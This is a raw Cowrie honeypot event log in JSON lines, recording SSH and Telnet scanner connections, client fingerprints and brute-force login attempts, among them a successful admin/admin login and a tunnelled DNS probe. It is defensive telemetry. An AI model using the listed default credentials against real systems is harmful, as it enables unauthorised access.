{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39430,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9dddfe7a5f6","protocol":"ssh","message":"New connection: 87.251.64.176:39430 (10.17.0.5:22) [session: f9dddfe7a5f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:42.065790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:42.072729Z","src_ip":"87.251.64.176","session":"f9dddfe7a5f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:42.169152Z","src_ip":"87.251.64.176","session":"f9dddfe7a5f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:42.459921Z","src_ip":"87.251.64.176","session":"f9dddfe7a5f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:42.559626Z","session":"f9dddfe7a5f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:42.657650Z","src_ip":"87.251.64.176","session":"f9dddfe7a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:59:42.756342Z","src_ip":"87.251.64.176","session":"f9dddfe7a5f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":34654,"dst_ip":"159.203.135.109","dst_port":23,"session":"399075326291","protocol":"telnet","message":"New connection: 50.116.100.16:34654 (159.203.135.109:23) [session: 399075326291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:01.871799Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39214,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eb0da51a892","protocol":"ssh","message":"New connection: 159.203.92.129:39214 (159.203.135.109:22) [session: 5eb0da51a892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:19.362490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:19.410937Z","src_ip":"159.203.92.129","session":"5eb0da51a892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:19.416949Z","src_ip":"159.203.92.129","session":"5eb0da51a892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmad","password":"ahmad","message":"login attempt [ahmad/ahmad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:19.929676Z","src_ip":"159.203.92.129","session":"5eb0da51a892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:20.957363Z","src_ip":"159.203.92.129","session":"5eb0da51a892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":34848,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef849cbd0fa4","protocol":"telnet","message":"New connection: 50.116.100.16:34848 (159.203.135.109:23) [session: ef849cbd0fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:31.758431Z"}
{"eventid":"cowrie.session.closed","duration":30.42681121826172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:32.298465Z","src_ip":"50.116.100.16","session":"399075326291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":36484,"dst_ip":"159.203.135.109","dst_port":23,"session":"867c0364c77b","protocol":"telnet","message":"New connection: 50.116.100.16:36484 (159.203.135.109:23) [session: 867c0364c77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:33.298478Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":37042,"dst_ip":"159.203.135.109","dst_port":23,"session":"af9e03e29816","protocol":"telnet","message":"New connection: 50.116.100.16:37042 (159.203.135.109:23) [session: af9e03e29816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:33.867028Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":44580,"dst_ip":"159.203.135.109","dst_port":23,"session":"21011f776537","protocol":"telnet","message":"New connection: 50.116.100.16:44580 (159.203.135.109:23) [session: 21011f776537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:00:41.424990Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":34860,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0875946b969","protocol":"telnet","message":"New connection: 50.116.100.16:34860 (159.203.135.109:23) [session: c0875946b969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:00.161731Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38856,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a696cfc8ebb","protocol":"ssh","message":"New connection: 159.203.92.129:38856 (159.203.135.109:22) [session: 9a696cfc8ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:01.192244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:01.197037Z","src_ip":"159.203.92.129","session":"9a696cfc8ebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:01.202278Z","src_ip":"159.203.92.129","session":"9a696cfc8ebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"123456","message":"login attempt [ai/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:01.219007Z","src_ip":"159.203.92.129","session":"9a696cfc8ebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:02.226377Z","src_ip":"159.203.92.129","session":"9a696cfc8ebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48294734954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:02.241211Z","src_ip":"50.116.100.16","session":"ef849cbd0fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83905029296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:04.137414Z","src_ip":"50.116.100.16","session":"867c0364c77b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.301440477371216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:04.168357Z","src_ip":"50.116.100.16","session":"af9e03e29816","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":41854,"dst_ip":"159.203.135.109","dst_port":23,"session":"be11e01a273e","protocol":"telnet","message":"New connection: 50.116.100.16:41854 (159.203.135.109:23) [session: be11e01a273e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:08.088333Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":42248,"dst_ip":"159.203.135.109","dst_port":23,"session":"299553768b2d","protocol":"telnet","message":"New connection: 50.116.100.16:42248 (159.203.135.109:23) [session: 299553768b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:08.472488Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":41308,"dst_ip":"159.203.135.109","dst_port":23,"session":"c15ac426410c","protocol":"telnet","message":"New connection: 50.116.100.16:41308 (159.203.135.109:23) [session: c15ac426410c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:08.476778Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":42992,"dst_ip":"159.203.135.109","dst_port":23,"session":"efc36f9a1920","protocol":"telnet","message":"New connection: 50.116.100.16:42992 (159.203.135.109:23) [session: efc36f9a1920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:09.243295Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":43952,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2ca2040d1f0","protocol":"telnet","message":"New connection: 50.116.100.16:43952 (159.203.135.109:23) [session: d2ca2040d1f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:10.327670Z"}
{"eventid":"cowrie.session.closed","duration":30.708251476287842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:12.133106Z","src_ip":"50.116.100.16","session":"21011f776537","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":47692,"dst_ip":"159.203.135.109","dst_port":23,"session":"5034ce717b3e","protocol":"telnet","message":"New connection: 50.116.100.16:47692 (159.203.135.109:23) [session: 5034ce717b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:14.262360Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":50080,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b6d3b226080","protocol":"telnet","message":"New connection: 66.113.179.55:50080 (10.17.0.5:23) [session: 7b6d3b226080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:16.616815Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":50816,"dst_ip":"159.203.135.109","dst_port":23,"session":"928048aea6fd","protocol":"telnet","message":"New connection: 50.116.100.16:50816 (159.203.135.109:23) [session: 928048aea6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:17.539227Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":50922,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f83484ecdb","protocol":"telnet","message":"New connection: 50.116.100.16:50922 (159.203.135.109:23) [session: f7f83484ecdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:17.662981Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":54944,"dst_ip":"159.203.135.109","dst_port":23,"session":"beac2a570f11","protocol":"telnet","message":"New connection: 50.116.100.16:54944 (159.203.135.109:23) [session: beac2a570f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:22.100591Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":39376,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a98a200db75","protocol":"telnet","message":"New connection: 66.113.179.55:39376 (10.17.0.5:23) [session: 6a98a200db75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:22.612358Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":55974,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcfee5187dd1","protocol":"telnet","message":"New connection: 50.116.100.16:55974 (159.203.135.109:23) [session: fcfee5187dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:24.188277Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":57306,"dst_ip":"159.203.135.109","dst_port":23,"session":"83ed681b8f9a","protocol":"telnet","message":"New connection: 50.116.100.16:57306 (159.203.135.109:23) [session: 83ed681b8f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:24.682657Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":58256,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa9874a20cab","protocol":"telnet","message":"New connection: 50.116.100.16:58256 (159.203.135.109:23) [session: fa9874a20cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:25.888734Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":52956,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf9b59a62b49","protocol":"telnet","message":"New connection: 66.113.179.55:52956 (10.17.0.5:23) [session: bf9b59a62b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:26.876384Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":59418,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13f811e383b","protocol":"telnet","message":"New connection: 50.116.100.16:59418 (159.203.135.109:23) [session: b13f811e383b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:27.136047Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":59506,"dst_ip":"159.203.135.109","dst_port":23,"session":"989aa756c629","protocol":"telnet","message":"New connection: 50.116.100.16:59506 (159.203.135.109:23) [session: 989aa756c629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:27.228549Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":55568,"dst_ip":"10.17.0.5","dst_port":23,"session":"308e77f3e9d8","protocol":"telnet","message":"New connection: 66.113.179.55:55568 (10.17.0.5:23) [session: 308e77f3e9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:27.653761Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":33860,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d39cd90e72e","protocol":"telnet","message":"New connection: 50.116.100.16:33860 (159.203.135.109:23) [session: 2d39cd90e72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:30.101747Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":38186,"dst_ip":"10.17.0.5","dst_port":23,"session":"be582726d1a7","protocol":"telnet","message":"New connection: 66.113.179.55:38186 (10.17.0.5:23) [session: be582726d1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:30.931258Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":34778,"dst_ip":"159.203.135.109","dst_port":23,"session":"3983afd8f2c0","protocol":"telnet","message":"New connection: 50.116.100.16:34778 (159.203.135.109:23) [session: 3983afd8f2c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:31.205792Z"}
{"eventid":"cowrie.session.closed","duration":31.269473552703857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:31.431094Z","src_ip":"50.116.100.16","session":"c0875946b969","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":35648,"dst_ip":"159.203.135.109","dst_port":23,"session":"2440e069e0ea","protocol":"telnet","message":"New connection: 50.116.100.16:35648 (159.203.135.109:23) [session: 2440e069e0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:32.111641Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":45060,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d34f1c5ba8a","protocol":"telnet","message":"New connection: 66.113.179.55:45060 (10.17.0.5:23) [session: 3d34f1c5ba8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:33.115947Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":36838,"dst_ip":"159.203.135.109","dst_port":23,"session":"c14fadaef929","protocol":"telnet","message":"New connection: 50.116.100.16:36838 (159.203.135.109:23) [session: c14fadaef929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:33.224952Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":35862,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bab44b1b25e","protocol":"telnet","message":"New connection: 50.116.100.16:35862 (159.203.135.109:23) [session: 5bab44b1b25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:33.291394Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.113.179.55","src_port":47148,"dst_ip":"10.17.0.5","dst_port":23,"session":"194a36339b79","protocol":"telnet","message":"New connection: 66.113.179.55:47148 (10.17.0.5:23) [session: 194a36339b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:33.856325Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":37428,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c40fb6f4f28","protocol":"telnet","message":"New connection: 50.116.100.16:37428 (159.203.135.109:23) [session: 4c40fb6f4f28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:33.911886Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":36942,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb4228677ce4","protocol":"telnet","message":"New connection: 50.116.100.16:36942 (159.203.135.109:23) [session: bb4228677ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:34.339553Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":37738,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d79499144ca","protocol":"telnet","message":"New connection: 50.116.100.16:37738 (159.203.135.109:23) [session: 8d79499144ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:34.381231Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.100.16","src_port":38378,"dst_ip":"159.203.135.109","dst_port":23,"session":"97ef3ebb0fee","protocol":"telnet","message":"New connection: 50.116.100.16:38378 (159.203.135.109:23) [session: 97ef3ebb0fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:01:35.214782Z"}
